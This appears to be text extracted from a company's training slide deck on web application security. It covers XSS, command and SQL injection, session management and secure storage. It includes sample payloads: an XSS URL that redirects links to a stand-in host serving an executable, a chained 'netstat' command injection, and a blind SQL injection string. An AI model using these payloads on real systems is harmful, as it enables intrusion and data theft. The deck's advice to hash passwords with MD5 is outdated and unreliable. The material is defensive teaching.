Web Application Security

Web Application Security(Loopholes and Exploits)

www.habiletechnologies.com 2

HTML Form DesignEncrypted TransportServer-side Data ValidationSession ManagementAccess ControlJavaScript SecurityAuthentication FlawsXSS ScriptingFail-Open AuthenticationInjection ( Command, SQL)Secure Storage

Topics

3

HTML Form Design

www.habiletechnologies.com

• Understand the purpose of your form• Always prefer POST when you transport sensitive data to server or when the data length is high • A typical GET request exposes your information in the URL, which might allow the user to modify the behavior of the page by modifying URL.• A Sample POST request is below


Encrypted Transport• Using HTTPS(SSL/TLS) layer to transport your POST data will securely encrypt your information before transport .• Any Proxies or sniffer can only see unreadable data – exceptions so do happen (E.g. Un trusted middleman attack )

Trusted Site sample

Un-trusted Site sample


Server-Side Data Validation• Many developers rely on client-side validation to reduce the network traffic and server

load for validating form elements.• However, it is also essential to validate the data as soon as server receives the request.• Growth of browser tools have enabled users to manipulate anything that runs on client

side.• Server side validation makes sure the data is not manipulated.• e-commerce websites have to be careful with session-data processing owing to

concurrent browser requests from a single user with multiple browsers.• Always beware of parameter tampering.


Session Management• What is session management? Process of keeping track of a user's activity across sessions of

interaction with the computer system.• Cookies and URL-rewriting are ways to identify user session across multiple requests.• A session-id should be unique, non-sequential and unpredictable. Any application that does not

adhere to the above principle is vulnerable to attack.• Any data that is sensitive should be encrypted. E.g.: User information, cart information, etc. Further,

the attribute “Http Only” should be set for cookies if you don’t want client script to read the cookie values. However, this is a new attribute and might not be supported in all the browsers. Refer to https://www.owasp.org/index.php/HTTPOnly for more details on using the attribute.

https://www.owasp.org/index.php/HTTPOnly


Access Control• Be sure to double-check what your application can access in the file-system.• A well designed web application cannot access beyond what the designer wanted to show.• For example, if an application gets the filename input from user to display on screen, make sure

to validate if the requested file is accessible.


• The roles and access to a user must be checked before executing a method requested by the user. For eg: If a user have only view access, He/She should not be able to execute delete by manipulating the input parameters.

Access Control (Contd…)


JavaScript Security• Make sure your JavaScript methods to update the UI are encoded properly before updating.

• If you want to hide a information from a user, don’t hide at client side.


• Using eval (“….”); method to parse response from a AJAX server call might be useless. Intercepting the response and modifying content is a simple trick. This leads to DOM injection attack. For e.g.: Modify response and write a code to edit anything on the page.

• Similarly XML and JSON injection are available to modify the response.• Don’t write JavaScript methods that takes in variables and submit the form. This will lead to

silent XSS attacks.

JavaScript Security (Contd…)


• Forgot password should have a array of questions which doesn’t have straight answer (Example of bad question: What’s your favorite color?) and also, lock the account after fixed number of tries.

• Basic Authentication can easily be cracked. It’s just Base64 encoding of “username: password”. If anyone knows the encrypted text, its easy to decrypt.

• Two-level authentication (Username-password at first level and expiration codes at second level) should store data only at server side and better not be sequential. For example, assume a particular TAN expiration codes have both serial number and code. The next non-expired code serial number, which the application is expecting should not be taken as client input. Further, check for code expiration while logging in and not just updating it.

Authentication Flaws


• Stored XSS attacks are those where the injected code is permanently stored on the target servers, such as in a database, in a message forum, visitor log, comment field, etc.

• The victim then retrieves the malicious script from the server when it requests the stored information. Notice below screenshots where employee “Tom” updates his street address with a XSS script and that affects the HR “Jerry”, when He is trying to view Tom’s profile. Use output encoding to avoid executing code.

XSS (Cross-Site Scripting)


• Reflected XSS attacks are those where the injected code is reflected off the web server, such as in an error message, search result, or any other response that includes some or all of the input sent to the server as part of the request.

• Reflected attacks are delivered to victims via another route, such as in an e-mail message, or on some other web server.

• When a user is tricked into clicking on a malicious link or submitting a specially crafted form, the injected code travels to the vulnerable web server, which reflects the attack back to the user’s browser.

For example, consider a site that has a welcome notice from parameter user " Welcome %username% " and a download link sent from malicious user.http://example.com/index.php?user=<script>window.onload = function() {var AllLinks=document.getElementsByTagName("a"); AllLinks[0].href = "http://badexample.com/malicious.exe"; }</script>

XSS (Cross-Site Scripting) Contd…


Fail-Open Authentication

• Improper handling of errors can introduce a variety of security problems for a web site. • The most common problem is when detailed internal error messages such as stack traces,

database dumps, and error codes are displayed to the user (hacker). These messages reveal implementation details that should never be revealed.

• One common security problem caused by improper error handling is the fail-open security check. All security mechanisms should deny access until specifically granted, not grant access until denied, which is a common reason why fail open errors occur.

• Other errors can cause the system to crash or consume significant resources, effectively denying or reducing service to legitimate users.


• Command injection happens when the developer design a webpage that gets a request parameter from the client and executes a system command without validating it. For e.g.: The application passed param filename and if the command is executed as:

'cmd.exe /c type filename‘

• Passing in a param like filename’ & ‘netstat –a will execute both type check and netstat.

'cmd.exe /c type filename%‘ & ‘netstat –a’

Command Injection


• SQL Injection is similar to Command Injection wherein, the developer executes a SQL without validating the input parameters. Example: A web app page takes in a account number and checks for existence in server. It returns true if it exists in DB. The server code to check if the account id is valid or not is below:

"SELECT * FROM user_data WHERE userid = " + account Number

• Ideally, people enter the account number in the text box and the value returns true if it exists in DB. Example: 101.

"SELECT * FROM user_data WHERE userid = " + 101

• Now, inserting the following string in account number text box, allows the hacker to guess the username (or any info) of some other account owner.

101 AND (ascii( substr((SELECT first_name FROM user_data WHERE userid=15613) , 1 , 1) ) > 109 );

SQL Injection


• When storing login credentials in a database, always prefer to Hash it. Hash is a method to encrypt passwords which cannot be decrypted. Example: MD5, SHA-256.

• Login verification can be done like below:username = $username AND password = MD5(password)

• There is no real need to store raw password in DB. Forget password should generate a new string which is unique and random.

• The database should have different user logins – one for DB admin, one for web application (tomcat/any app server), one for developer and so on. Visibility of tables should be limited to appropriate users.

Secure Storage


References

• OWASP – Open Web Application Security Project (https://www.owasp.org/)

• WebGoat – A web application designed by OWASP to describe the exploits with examples.

• Wikipedia

https://www.owasp.org/


Thank You

Habile Technologies Private LtdFirst Floor,Janaki Commercial Complex,L.B Road, Thiruvanmiyur,Chennai – 600041.

Mobile: +91 90030 39994E-mail: [email protected] : https://www.facebook.com/HabileTechnologiesLinkedin : http://www.linkedin.com/company/habile

mailto:[email protected]

https://www.facebook.com/HabileTechnologies

http://www.linkedin.com/company/habile

Web Application Security

Technology

user session

user information

post data

sensitive data

sessiondata processing

data length

transport server

single user